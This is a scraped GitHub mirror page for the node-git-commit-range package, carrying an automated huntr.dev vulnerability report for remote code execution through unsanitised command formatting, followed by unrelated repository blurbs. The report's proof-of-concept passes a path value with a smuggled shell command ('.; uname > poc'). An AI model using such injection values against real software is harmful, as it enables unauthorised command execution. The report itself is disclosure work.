aichbauer / node-git-commit-range Goto Github PK
View Code? Open in Web Editor NEWGet the git commithash within a Range from-to
License: MIT License
Get the git commithash within a Range from-to
License: MIT License
This issue has been generated on-behalf of Mik317 (https://huntr.dev/app/users/Mik317)
The issue occurs because a user input
is formatted inside a command
that will be executed without any check. The issue arises here: https://github.com/aichbauer/node-git-commit-range/blob/master/index.js#L32
// poc.js
const gitCommitRange = require('git-commit-range');
gitCommitRange();
gitCommitRange({
path: '.; uname > poc',
from: '15be93c31ad87c9ced03ba0b60fc2fb55c977c5c',
to: '32b940b014322834966d79b109d2d7adec8e3ea3',
include: false,
});
RCE
on git-commit-range
via insecure command formatting
We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded ๐ฐ? Go to https://huntr.dev/
We will submit a pull request directly to your repository with the fix as soon as possible. Want to learn more? Go to https://github.com/418sec/huntr ๐
Automatically generated by @huntr-helper...
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.